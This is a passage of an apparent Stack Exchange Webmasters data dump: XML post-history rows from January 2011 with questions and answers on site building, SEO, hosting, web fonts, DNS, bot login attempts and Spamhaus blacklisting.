navigation design / location, login location (If you're including that), content area design, and whatever else you decide is necessary.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Third Step: Start Programming&lt;/h3&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;Start by making the homepage in HTML/CSS/JavaScript, using your graphical layout as a guide. There are IDEs out there that are great for web-development. I personally use Aptana (www.aptana.com), but Eclipse is pretty good too (www.eclipse.org).&#xD;&#xA;&#xD;&#xA;Ensure that the HTML has cross-browser compatibility and SEO, getting it w3c validated wouldn't hurt either (validator.w3.org). Once it all looks slick, start the PHP.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Fourth Step: PHP/MySQL Programming&lt;/h3&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Up to this point, you could do everything on your local machine. Aside from downloading software (EasyPHP for example), you'll need a server to program the PHP. A great host to use that has always been a great hosting solution is HostMonster.com. Cheap great hosting. Start building your database tables, using your foresight at exactly what you're going to need stored in the database. Yes, you will store absolutely everything in the database, from long text reviews to URL of images - assuming you want a dynamic website.&#xD;&#xA;&#xD;&#xA;Make your homepage complete with all of the PHP that you want to include, and make sure it looks like a finished product. Then use that page as a template for the rest of the pages you want to build. Building each individual page in HTML first, then inserting all of the PHP is a pain, as you have to go through each page and insert the same PHP code.&#xD;&#xA;&#xD;&#xA;As for your question to switching hosts, it isn't that difficult but fatal problems may occur. Backup your SQL database locally, register your new host, upload your files and database and make sure it all runs smoothly before terminating your service with the first host.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;Fifth Step: User Testing&lt;/h3&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Giving your website in the hands of people who haven't participated in the design process will help you assess what areas need to be improved on, or what features to add / subtract. Beta testing for web design is just as crucial as for programs. Make sure to have a diverse population of interests and systems. A different version of Firefox may not display the information in the same way as your version of Firefox, for example.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&lt;h3&gt;A Few Tips&lt;/h3&gt;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;Consistency is the key. As your background in coding, you might already know this - but having a radically different background image for each page is an instant killer. Keep your navigation in the same area as well as in the same format.&#xD;&#xA;&#xD;&#xA;Create a memorable site-map. Having users completely lost in your website is hazardous. Allow for link visited and active colors to be the same so users know where they have been. More information on this can be obtained from usability research.&#xD;&#xA;&#xD;&#xA;Use either high graphics / low information, or low graphics / high information. Trying to combine both methods usually ends in disaster.&#xD;&#xA;&#xD;&#xA;Never have the users scroll to the left or right. People aren't used to it, and it makes your website a lot harder to use if you crop important information. Using a percentage width would fix that problem.&#xD;&#xA;&#xD;&#xA;&lt;hr&gt;&#xD;&#xA;&#xD;&#xA;I hope all of this helps you. If you need more information on a certain subject, let me know." />
  <row Id="18253" PostHistoryTypeId="5" PostId="8449" RevisionGUID="083a293c-76ef-4546-b3fe-ea87a695613d" CreationDate="2011-01-29T05:40:35.950" UserId="1757" Comment="added 1055 characters in body" Text="Those sites are correct. It's Google who got it wrong this time. They made the mistake of making SEO conflict with usability. And most site owners tend to choose SEO over user experience. Unfortunately, until Google fixes their algorithm, we're probably going to see more and more sites titling their pages this way.&#xD;&#xA;&#xD;&#xA;**Edit:**&lt;br/&gt;&#xD;&#xA;Just to give an example of how this keyword order rule de-optimizes user experience and search results, 3 pages with all other things being equal would be ranked in this order based on their page titles:&#xD;&#xA;&#xD;&#xA; 1. SEO - Better Ranking - Search - 10 tips&#xD;&#xA; 2. 10 easy SEO tips for better search ranking&#xD;&#xA; 3. Matt Cutts gives 10 easy SEO tips for better search ranking&#xD;&#xA;&#xD;&#xA;So the least coherent and most spammy page title is highest, and the title most descriptive and useful to users is last.&#xD;&#xA;&#xD;&#xA;A real world example of this was that prior to StackExchange switching to this format, they were consistently being outranked (by several positions) by sites duplicating their content. This was despite StackExchange's high PR and being the originator of the content.&#xD;&#xA;&#xD;&#xA;This situation is just like early algorithms which rewarded keyword stuffing. Every time you create a new ranking factor that isn't directly tied to content quality or aligned with usability, you dilute the actual ranking power of good content and encourage spammy behavior." />
  <row Id="18254" PostHistoryTypeId="5" PostId="8423" RevisionGUID="ef73d330-c2ba-4403-a7c6-0af7c73c3155" CreationDate="2011-01-29T05:41:08.553" UserId="3273" Comment="added 308 characters in body" Text="I'm trying to buy a domain which is parked, but the contact email address listed on the page itself bounces. I looked up the WHOIS data and there are no email addresses or phone numbers listed. There are  way too many hits on facebook / linkedin to try just searching for the name.&#xD;&#xA;&#xD;&#xA;What recourses do I have to try to get into contact with the owner?&#xD;&#xA;&#xD;&#xA;&lt;b&gt;UPDATE:&lt;/b&gt;  &#xD;&#xA;Hosted on the same IP are 206 identical &quot;parked&quot; pages, whose sole difference is the domain and the email address (always &quot;info@[domain].it&quot;): http://www.bing.com/search?q=ip%3A151.1.48.220&#xD;&#xA;Whois info shows contact information for none (that I sampled) but all with different names o_O" />
  <row Id="18255" PostHistoryTypeId="2" PostId="8452" RevisionGUID="675a4739-d455-4fb8-835b-6d7198c18212" CreationDate="2011-01-29T05:44:51.480" UserId="4803" Text="Use JavaScript to make it easier to navigate. Using a gigantic list, even using relative links in HTML, would make it non-user-friendly. &#xD;&#xA;&#xD;&#xA;JQuery is a good library to brush up on, a lot of super easy shortcuts to hide / show data.&#xD;&#xA;&#xD;&#xA;My recommendation would be to use a header directory first, and on click it would show or hide the information that pertains to it (List of cities. Then you click on a city and it would display all automotive dealers in that city. You could include graphics and such to make it look really nice." />
  <row Id="18256" PostHistoryTypeId="2" PostId="8453" RevisionGUID="55cd080a-9023-4713-8e97-c957b9e72ad7" CreationDate="2011-01-29T06:30:29.910" UserId="4311" Text="Great advice from Christopher, but let me add one more. Hire someone who has done this before -- could be as an employee, freelancer or consultant, depending on your budget and how you're structured. There's simply more to know than can be put in an answer on this site. I'm still learning about it after ten years and thirty billion pages served." />
  <row Id="18257" PostHistoryTypeId="2" PostId="8454" RevisionGUID="30e9747f-c4f7-433e-bcfc-d51215dae65b" CreationDate="2011-01-29T06:43:35.457" UserDisplayName="user5007" Text="i am very tired about my website ranking in google. i am dong hard work about it but not getting anywhere my site in google. actually i am web master of a www.panbeli.in matrimony website INDIA. i am trying to improve its visibility in google last 5 month but not getting any positive result. but other search engine giving good result like yahoo and bing but google showing no any result in top 20 page result.&#xD;&#xA;my website is www.panbeli.in&#xD;&#xA;and my keyword are-&#xD;&#xA;bari samaj&#xD;&#xA;bari matrimony&#xD;&#xA;bari community&#xD;&#xA;bari shadi&#xD;&#xA;panbeli&#xD;&#xA;please help me if you can, b'coz i am very frustrated about it.&#xD;&#xA;my domain age is 4 years&#xD;&#xA;when i type link:panbeli.in  in google search&#xD;&#xA;does not appear any pages from my site in google.&#xD;&#xA;whats the meaning is that?my site does not indexed in google?" />
  <row Id="18258" PostHistoryTypeId="1" PostId="8454" RevisionGUID="30e9747f-c4f7-433e-bcfc-d51215dae65b" CreationDate="2011-01-29T06:43:35.457" UserDisplayName="user5007" Text="Why my site not linking with google.com?" />
  <row Id="18259" PostHistoryTypeId="3" PostId="8454" RevisionGUID="30e9747f-c4f7-433e-bcfc-d51215dae65b" CreationDate="2011-01-29T06:43:35.457" UserDisplayName="user5007" Text="&lt;google-search&gt;" />
  <row Id="18260" PostHistoryTypeId="2" PostId="8455" RevisionGUID="48d64e8b-5b45-4223-89b4-34bcd72d200f" CreationDate="2011-01-29T07:42:07.343" UserId="1036" Text="Learn SEO. It's not something you do within a single day. It's a practice involves your code, content, presentation, distribution and many other things. Different search engines have different SEO policies / methodologies. &#xD;&#xA;&#xD;&#xA;Since you're concerned about Google start learning how google likes to have your website. What does it expect and how should you present your website to it. Just do a research on these topics and you would know why your site doesn't get better results.&#xD;&#xA;&#xD;&#xA;First, sign up for http://www.google.com/webmasters/ then try optimising your site according to Google SEO norms. Try this starter guide at the beginning http://www.google.com/webmasters/docs/search-engine-optimization-starter-guide.pdf" />
  <row Id="18261" PostHistoryTypeId="25" PostId="8447" RevisionGUID="f9e6c2ef-80b0-4a8f-a759-e6a6d27f0195" CreationDate="2011-01-29T08:16:08.683" Comment="http://twitter.com/#!/StackWebmasters/status/31264316569161728" />
  <row Id="18266" PostHistoryTypeId="5" PostId="8445" RevisionGUID="3ec17a53-a40a-4e77-88a4-859a6ff9face" CreationDate="2011-01-29T13:30:17.760" UserId="4643" Comment="added 254 characters in body; added 60 characters in body" Text="If google search query results are incorrect:   &#xD;&#xA; &#xD;&#xA;  - How can it be reported? &#xD;&#xA;  - What is the procedure to correct it?  &#xD;&#xA;&#xD;&#xA;@Lèse majesté:  &#xD;&#xA;Incorrect results are the results that do not contain any of the searched keywords in them like in [this my question][1]   &#xD;&#xA;@John Conde, yes I believe it is the right defitition.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/8313/why-googling-by-keycaptcha-gives-results-on-recaptcha" />
  <row Id="18267" PostHistoryTypeId="2" PostId="8457" RevisionGUID="e3e30c9c-5d3d-403e-b39a-575057b3bfca" CreationDate="2011-01-29T13:35:25.670" UserId="5014" Text="I am currently using a font from the google font directory on my website. I don't fully understand how it works, but it seems like when someone opens my site, their browser is told to go and fetch the font from Google. (correct me if I'm wrong).&#xD;&#xA;&#xD;&#xA;Now, what I'm wondering is, what are the pros and cons of this over just specifying a font family the old-school way? Presumably doing it the google font directory way has the advantage that they'll definitely see the font I want them to. (as long as the font directory is up).&#xD;&#xA;&#xD;&#xA;But does this way have disadvantages? Maybe using fonts that are stored locally speeds up the site loading?" />
  <row Id="18268" PostHistoryTypeId="1" PostId="8457" RevisionGUID="e3e30c9c-5d3d-403e-b39a-575057b3bfca" CreationDate="2011-01-29T13:35:25.670" UserId="5014" Text="Pros and cons of the Google font API" />
  <row Id="18269" PostHistoryTypeId="3" PostId="8457" RevisionGUID="e3e30c9c-5d3d-403e-b39a-575057b3bfca" CreationDate="2011-01-29T13:35:25.670" UserId="5014" Text="&lt;fonts&gt;" />
  <row Id="18270" PostHistoryTypeId="25" PostId="8454" RevisionGUID="c41ffffe-839d-492d-8424-dc6e07c57ccc" CreationDate="2011-01-29T14:16:08.547" Comment="http://twitter.com/#!/StackWebmasters/status/31354912751226880" />
  <row Id="18271" PostHistoryTypeId="10" PostId="8454" RevisionGUID="1236ba43-7c62-4407-b293-e68ea26d569c" CreationDate="2011-01-29T15:12:51.773" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18275" PostHistoryTypeId="2" PostId="8458" RevisionGUID="5321cbad-a255-4815-9a2d-bf8a15cbbc66" CreationDate="2011-01-29T15:17:51.190" UserId="1253" Text="Using local fonts will definitely be faster then loading fonts from Google fonts or from any remote website. However, you are limited to whatever fonts the user has on their system and the fonts available on each system (Windows, Mac, Linux) will vary. &#xD;&#xA;&#xD;&#xA;If you absolutely must use a certain font on your pages then the Google Font API is the way to go. However, if you don't absolutely need it, use CSS to list multiple fonts and allow the system to fall back to whatever font it has. So if the  user doesn't have that fancy font they the system can fall back to a similar one." />
  <row Id="18276" PostHistoryTypeId="2" PostId="8459" RevisionGUID="d5387a9f-9b84-44c7-8c31-7e45d2ceeab3" CreationDate="2011-01-29T15:51:37.900" UserId="4487" Text="I've recently been moving my client's sites as well as my own and my friends to a cloud server instance I've set up. I don't have a nameserver setup on my instance because I'm not sure how to deploy and manage that side of things yet. &#xD;&#xA;&#xD;&#xA;I'm using the default nameservers where possible for the sites and just changing the A record DNS settings to point at the server. Some clients are complaining that the sites are running slower then before (since I changed nameservers back to the defaults). Some of the domain registrars are a nightmare to deal with and I can't convince some of my clients to leave them.&#xD;&#xA;&#xD;&#xA;Is there a sort of paid service I can use instead?" />
  <row Id="18277" PostHistoryTypeId="1" PostId="8459" RevisionGUID="d5387a9f-9b84-44c7-8c31-7e45d2ceeab3" CreationDate="2011-01-29T15:51:37.900" UserId="4487" Text="Should I use my domain registrar's nameserver or find an alternative?" />
  <row Id="18278" PostHistoryTypeId="3" PostId="8459" RevisionGUID="d5387a9f-9b84-44c7-8c31-7e45d2ceeab3" CreationDate="2011-01-29T15:51:37.900" UserId="4487" Text="&lt;web-hosting&gt;&lt;dns&gt;&lt;nameserver&gt;" />
  <row Id="18279" PostHistoryTypeId="2" PostId="8460" RevisionGUID="bdb947df-69b7-4a64-a15b-10f551c3caf7" CreationDate="2011-01-29T16:02:41.227" UserId="1253" Text="[ZoneEdit](http://zoneedit.com/) is excellent and your first two DNS zones are free" />
  <row Id="18280" PostHistoryTypeId="2" PostId="8461" RevisionGUID="9ca52498-3662-4c11-8ead-296a4d770eb0" CreationDate="2011-01-29T16:46:49.313" UserId="4259" Text="For the last couple weeks I've been seeing a consistent stream of 15-30 invalid login attempts per hours on my site. Many of them are non-sensical usernames that nobody would ever register for real, and often contain typical spam-related keywords. They all come from different IP addresses so I can't just IP block/throttle the requests. &#xD;&#xA;&#xD;&#xA;I'm not worried about unauthorized access to real accounts since they aren't using real usernames. And if it were a member of my site trying to brute force logins, they could easily scrape the valid usernames from the site, so I'm not worried about that kind of malicious behavior either. But what's the point of this type of activity? What would whichever bot operator is doing this have to gain by attempting all these logins?" />
  <row Id="18281" PostHistoryTypeId="1" PostId="8461" RevisionGUID="9ca52498-3662-4c11-8ead-296a4d770eb0" CreationDate="2011-01-29T16:46:49.313" UserId="4259" Text="How should a site respond to automated login attempts with phony usernames?" />
  <row Id="18282" PostHistoryTypeId="3" PostId="8461" RevisionGUID="9ca52498-3662-4c11-8ead-296a4d770eb0" CreationDate="2011-01-29T16:46:49.313" UserId="4259" Text="&lt;security&gt;&lt;asp.net&gt;&lt;login&gt;&lt;logging&gt;&lt;botattack&gt;" />
  <row Id="18283" PostHistoryTypeId="2" PostId="8462" RevisionGUID="84092232-02fa-4e6b-91ba-395f01a7cd55" CreationDate="2011-01-29T16:51:55.220" UserId="1253" Text="Brute force works. Period. It doesn't mean they're going to compromise your site but if they try this on enough sites eventually they're going to get in somewhere. It's an unfortunate fact that many websites are poorly designed and/or built and attacks like this work. Basically it's the same principle spam. Spammers spam because it works. Even if only .01% of users respond when you send out millions of emails that suddenly becomes a lot of users and translates into a lot of money.&#xD;&#xA;&#xD;&#xA;If there is any kind of pattern to the usernames or IPs obviously start to block those requests. Otherwise just have faith that your site is built well and isn't vulnerable to this kind of attack." />
  <row Id="18284" PostHistoryTypeId="25" PostId="8461" RevisionGUID="3385b34f-f4f7-4971-90fe-85964540e05e" CreationDate="2011-01-29T17:16:10.480" Comment="http://twitter.com/#!/StackWebmasters/status/31400219153268738" />
  <row Id="18285" PostHistoryTypeId="2" PostId="8463" RevisionGUID="618d926f-e279-406f-bf27-b09681cfe94e" CreationDate="2011-01-29T17:47:27.363" UserId="4970" Text="I'm looking for a linux hosting provider that supports LAMP and wondering if the community could recommend one.&#xD;&#xA;&#xD;&#xA;I was thinking about going with godaddy since their plan is only like $5 / month, but was wondering if there any others out there that are just as cheap if not cheaper" />
  <row Id="18286" PostHistoryTypeId="1" PostId="8463" RevisionGUID="618d926f-e279-406f-bf27-b09681cfe94e" CreationDate="2011-01-29T17:47:27.363" UserId="4970" Text="Best cheap Linux hosting with LAMP support" />
  <row Id="18287" PostHistoryTypeId="3" PostId="8463" RevisionGUID="618d926f-e279-406f-bf27-b09681cfe94e" CreationDate="2011-01-29T17:47:27.363" UserId="4970" Text="&lt;web-hosting&gt;&lt;linux&gt;&lt;lamp&gt;" />
  <row Id="18288" PostHistoryTypeId="2" PostId="8464" RevisionGUID="719f0fe0-1c9f-4e13-8a05-81fa7d0dff93" CreationDate="2011-01-29T18:09:59.860" UserId="4156" Text="I am a firm believer in &quot;you get what you pay for&quot;. However, I have been using Dreamhost for quite some time and I am very pleased. I also hear that A Small Orange ([http://www.asmallorange.com/hosting/shared/][1]) is really decent as well. &#xD;&#xA;&#xD;&#xA;Ultimately it depends on your traffic and the hosts network capabilities to handle that traffic. Small sites should be fine on either of those hosts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.asmallorange.com/hosting/shared/" />
  <row Id="18289" PostHistoryTypeId="2" PostId="8465" RevisionGUID="f32946dc-a0ff-4087-afae-c8eb928fb4f7" CreationDate="2011-01-29T18:16:31.847" UserId="1064" Text="&gt; But what's the point of this type of&#xD;&#xA;&gt; activity?&#xD;&#xA;&#xD;&#xA;Your guess is as good as anyone's - perhaps the operator is mistakenly trying to access a set of spam accounts created elsewhere? (or ones which were *supposed* to be created at your site but failed for whatever reason)" />
  <row Id="18291" PostHistoryTypeId="25" PostId="8457" RevisionGUID="9100f66a-85e6-4610-b6f1-0809a6a30289" CreationDate="2011-01-29T20:16:10.933" Comment="http://twitter.com/#!/StackWebmasters/status/31445520144666624" />
  <row Id="18292" PostHistoryTypeId="5" PostId="8311" RevisionGUID="a9175ea0-cd2b-48f2-8bf5-e8a2753da7f4" CreationDate="2011-01-29T20:25:52.390" UserId="4643" Comment="deleted 144 characters in body" Text="I frequently read that it is possible to remove individual ip-addresses from SPAMHAUS blacklisting.  &#xD;&#xA;&#xD;&#xA;OK. Here is 91.205.43.252 used by back2.stopspamers.com on a dedicated server in Switzerland.  &#xD;&#xA;The query [http://www.spamhaus.org/query/bl?ip=91.205.43.252][1]   tells that:  &#xD;&#xA;&#xD;&#xA;  - 91.205.43.252 is listed in the [SBL80808][2] blacklist&#xD;&#xA;&#xD;&#xA;And [SBL80808][3] blacklist tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;Ref: SBL80808  &#xD;&#xA;   91.205.40.0/22 is listed on the Spamhaus Block List (SBL)  &#xD;&#xA;01-Apr-2010 05:52 GMT | SR04&#xD;&#xA;&#xD;&#xA;  Spamming and now seems this place is involved in other fraud&quot;  &#xD;&#xA;&#xD;&#xA;91.205.43.252 is not listed amongst criminal ip-addresses but there is no way to remove it individually from black listing. &#xD;&#xA; &#xD;&#xA;How to remove this individual  (91.205.43.252) address from SPAMHAUS blacklist?   &#xD;&#xA;ISP and dedicated server hoster do not answer.  &#xD;&#xA;&#xD;&#xA;**And why the heck SPAMHAUS is blacklisting spam-stopping service?**  &#xD;&#xA;&#xD;&#xA;This is only one example of a bunch.  &#xD;&#xA;&#xD;&#xA;My related posts:  &#xD;&#xA; &#xD;&#xA;  - [Blacklist IP database][4]  &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;From the answer provided I realized that my question was not even understood.  &#xD;&#xA;&#xD;&#xA;This ip-address **91.205.43.252** is not blacklisted individually, it is blacklisted through its supernet **91.205.40.0/22**.  &#xD;&#xA;Also note that dedicated server, ISP and customer are in much different distant countries.  &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;[http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal][5] tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;To have record SBL80808 (91.205.40.0/22) removed from the SBL, the Abuse/Security representative of RIPE (or the Internet Service Provider responsible for supplying connectivity to 91.205.40.0/22) needs to contact the SBL Team&quot;  &#xD;&#xA;&#xD;&#xA;There are dozens of &quot;abusers&quot; in that [blcklist SBL80808][6].&#xD;&#xA;The company using that dedicated server is not an ISP or RIPE representative to treat this issues. Even if to treat it, it is just a matter of pressing &quot;Repoert spam&quot; on internet to be again balcklisted, this is fruitless approach.  &#xD;&#xA;[These techniques are broadly used by criminals and spammers][7], See also [this my post on blacklisting][8].     &#xD;&#xA;  &#xD;&#xA;This is just one specific example but there are many-many more.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  [2]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [3]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal&#xD;&#xA;  [6]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [7]: http://www.blackhatworld.com/blackhat-seo/black-hat-seo-tools/273203-scrapebox-facts-about-public-private-proxies-blog-commenting-akismet.html#post2456209&#xD;&#xA;  [8]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="18293" PostHistoryTypeId="5" PostId="8311" RevisionGUID="f1051fa2-eb84-4b0d-b6ff-e8cc2472dd72" CreationDate="2011-01-29T20:49:54.663" UserId="4643" Comment="added 258 characters in body" Text="I frequently read that it is possible to remove individual ip-addresses from SPAMHAUS blacklisting.  &#xD;&#xA;&#xD;&#xA;OK. Here is 91.205.43.252 (91.205.43.251 - 91.205.43.253) used by back3.stopspamers.com (back2.stopspamers.com, back1.stopspamers.com) in geo-cluster on dedicated servers in Switzerland.  &#xD;&#xA;The queries:  &#xD;&#xA;&#xD;&#xA;  - http://www.spamhaus.org/query/bl?ip=91.205.43.251&#xD;&#xA;  - http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  - http://www.spamhaus.org/query/bl?ip=91.205.43.253&#xD;&#xA;&#xD;&#xA;tell that:  &#xD;&#xA;&#xD;&#xA;  - 91.205.43.251 - 91.205.43.253 are all listed in the [SBL80808][2] blacklist&#xD;&#xA;&#xD;&#xA;And [SBL80808][3] blacklist tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;Ref: SBL80808  &#xD;&#xA;   91.205.40.0/22 is listed on the Spamhaus Block List (SBL)  &#xD;&#xA;01-Apr-2010 05:52 GMT | SR04&#xD;&#xA;&#xD;&#xA;  **Spamming and now seems this place is involved in other fraud**&quot;  &#xD;&#xA;&#xD;&#xA;91.205.43.251-91.205.43.253 are not listed amongst criminal ip-addresses **individually** but there is no way to remove it individually from black listing. &#xD;&#xA; &#xD;&#xA;How to remove this individual  (91.205.43.251-91.205.43.253) addresses from SPAMHAUS blacklist?   &#xD;&#xA;&#xD;&#xA;**And why the heck SPAMHAUS is blacklisting spam-stopping service?**  &#xD;&#xA;&#xD;&#xA;This is only one example of a bunch.  &#xD;&#xA;&#xD;&#xA;My related posts:  &#xD;&#xA; &#xD;&#xA;  - [Blacklist IP database][4]  &#xD;&#xA;&#xD;&#xA;Update:  &#xD;&#xA;From the answer provided I realized that my question was not even understood.  &#xD;&#xA;&#xD;&#xA;This ip-addresses **91.205.43.251 - 91.205.43.253** are not blacklisted individually, they are blacklisted through its supernet **91.205.40.0/22**.  &#xD;&#xA;Also note that dedicated server, ISP and customer are in much different distant countries.  &#xD;&#xA;&#xD;&#xA;**Update2:**  &#xD;&#xA;[http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal][5] tells:  &#xD;&#xA;&#xD;&#xA;  - &quot;To have record SBL80808 (91.205.40.0/22) removed from the SBL, the Abuse/Security representative of RIPE (or the Internet Service Provider responsible for supplying connectivity to 91.205.40.0/22) needs to contact the SBL Team&quot;  &#xD;&#xA;&#xD;&#xA;There are dozens of &quot;abusers&quot; in that [blacklist SBL80808][6].  &#xD;&#xA;The company using that dedicated server is not an ISP or RIPE representative to treat these issues. Even if to treat it, it is just a matter of pressing &quot;Report spam&quot; on internet to be again blacklisted, this is fruitless approach.  &#xD;&#xA;[These techniques are broadly used by criminals and spammers][7], See also [this my post on blacklisting][8].     &#xD;&#xA;  &#xD;&#xA;This is just one specific example but there are many-many more.    &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.spamhaus.org/query/bl?ip=91.205.43.252&#xD;&#xA;  [2]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [3]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [4]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734&#xD;&#xA;  [5]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808#removal&#xD;&#xA;  [6]: http://www.spamhaus.org/sbl/sbl.lasso?query=SBL80808&#xD;&#xA;  [7]: http://www.blackhatworld.com/blackhat-seo/black-hat-seo-tools/273203-scrapebox-facts-about-public-private-proxies-blog-commenting-akismet.html#post2456209&#xD;&#xA;  [8]: http://stackoverflow.com/questions/1762189/blacklist-ip-database/4790734#4790734" />
  <row Id="18294" PostHistoryTypeId="2" PostId="8466" RevisionGUID="713d1702-682d-4472-b00f-ead385342a03" CreationDate="2011-01-29T21:22:18.163" UserId="233" Text="Sorry but the results are not &quot;incorrect&quot;. The search link you provided is for &quot;keycaphtcha&quot;, limited to the past 24 hours and limited to &quot;English and Portuguese pages&quot;. So there are obviously going to be very few results!&#xD;&#xA;&#xD;&#xA;Therefore, Google is showing results for `recaptcha` instead. That's pretty standard practice, which Google has been doing for ages, and is pretty logical. If you're searching for something with no results, you probably intended to search for a more popular keyword.&#xD;&#xA;&#xD;&#xA;Right at the top of the page it says &quot;Showing results for **recaptcha**. Search instead for **keycaptcha**&quot; so all you need to do is click that link to get the results you need. Problem solved." />
  <row Id="18295" PostHistoryTypeId="2" PostId="8467" RevisionGUID="3cf5b6d6-ac9e-4dfb-b222-c65470d1eb64" CreationDate="2011-01-29T22:38:46.600" UserId="5019" Text="I see this type of behavior on my site as well. While it's tough to prove, I think it's just a bot crawling your site and filling in forms hoping that any submission they make could somehow be publicly viewable. The bots don't seem to be very smart in that they can't tell an account registration form from a blog comment form, so they just fill them all out.&#xD;&#xA;&#xD;&#xA;If you see similar activity on other forms on your site, this very well could be what is happening to you. My suggestion would be to add a hidden captcha to your form. For example, add a textbox named &quot;URL&quot; (url fields are great spammer bait) that is hidden from human users through CSS (display:none). If this field is filled on on submit, you know that you can ignore it. There are many more methods of dealing with bots, but quite often, the simple things do the trick." />
  <row Id="18296" PostHistoryTypeId="25" PostId="8459" RevisionGUID="31abd048-93dc-47c4-9ea2-6606181f1bd6" CreationDate="2011-01-29T23:16:10.700" Comment="http://twitter.com/#!/StackWebmasters/status/31490817570897920" />
  <row Id="18297" PostHistoryTypeId="2" PostId="8468" RevisionGUID="07b34971-6111-4729-bf3b-8b7a7da6a644" CreationDate="2011-01-29T23:50:20.593" UserId="4465" Text="When i click Firebug's bookmarklet (Firebug Lite) .&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;There is an error on my page.&#xD;&#xA;&#xD;&#xA;![enter image description here][2]&#xD;&#xA;&#xD;&#xA;I can't solve this. Firebug Lite working all other websites, but doesn't working on my webpage. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/e2KMh.jpg&#xD;&#xA;  [2]: http://i.stack.imgur.com/WGcC9.jpg" />
  <row Id="18298" PostHistoryTypeId="1" PostId="8468" RevisionGUID="07b34971-6111-4729-bf3b-8b7a7da6a644" CreationDate="2011-01-29T23:50:20.593" UserId="4465" Text="Error on page - Firebug Lite" />
  <row Id="18299" PostHistoryTypeId="3" PostId="8468" RevisionGUID="07b34971-6111-4729-bf3b-8b7a7da6a644" CreationDate="2011-01-29T23:50:20.593" UserId="4465" Text="&lt;javascript&gt;&lt;design&gt;&lt;error&gt;" />
  <row Id="18300" PostHistoryTypeId="25" PostId="8468" RevisionGUID="dae221d2-141f-44b1-862b-09c23f05ae8f" CreationDate="2011-01-30T02:16:11.543" Comment="http://twitter.com/#!/StackWebmasters/status/31536118914617344" />
  <row Id="18304" PostHistoryTypeId="10" PostId="8468" RevisionGUID="42ff14c5-1043-4244-9a58-cde7ef3d726a" CreationDate="2011-01-30T03:17:47.173" UserId="1253" CloseReasonId="2" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="18309" PostHistoryTypeId="2" PostId="8470" RevisionGUID="7ecb3ed5-6b9e-4d1d-b301-dcd9ac667dc0" CreationDate="2011-01-30T05:35:54.633" UserDisplayName="Benny" Text="I am not sure if they use Linux but I think do and the site is http://www.freehostingcloud.com/ and theyy have free everyting and the only limit is that if you have over 2000+ unique vistors per month you have to pay USD$10 per month.&#xD;&#xA;&#xD;&#xA;I have been using the free version for about 12 months now and have about 4 websites all of which are just of my software for my use." />
  <row Id="18310" PostHistoryTypeId="17" PostId="8472" RevisionGUID="104a063e-ea4f-4cc7-8080-3d94bebdd6a6" CreationDate="2011-01-30T06:04:06.850" UserId="-1" Comment="from http://stackoverflow.com/questions/4838315/how-to-transfer-a-domain-securely/4838386#4838386" Text="" />
  <row Id="18311" PostHistoryTypeId="2" PostId="8472" RevisionGUID="6297b5b3-f69b-4a94-9b08-00561dc0880d" CreationDate="2011-01-29T17:43:24.297" UserDisplayName="clonked" Text="I have never had to use one, but you are looking for a domain name escrow service here.  Looking at one called [Moniker][1], their fee is tiered based on the selling price of the domain.  I'd imagine this is a common practice with these escrow services.&#xD;&#xA;&#xD;&#xA;Looking into how Godaddy handles these processes ([article here][2]), I see that they use [escrow.com][3] for any domain selling for more than 1000 dollars.  I use GoDaddy for all my domain registration and management so the escrow service they use by default is a big endorsement for me, and who I would look to using first.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.moniker.com/domainappraisalbrokerage/domainescrow.jsp&#xD;&#xA;  [2]: http://help.godaddy.com/article/1502&#xD;&#xA;  [3]: http://www.escrow.com" />
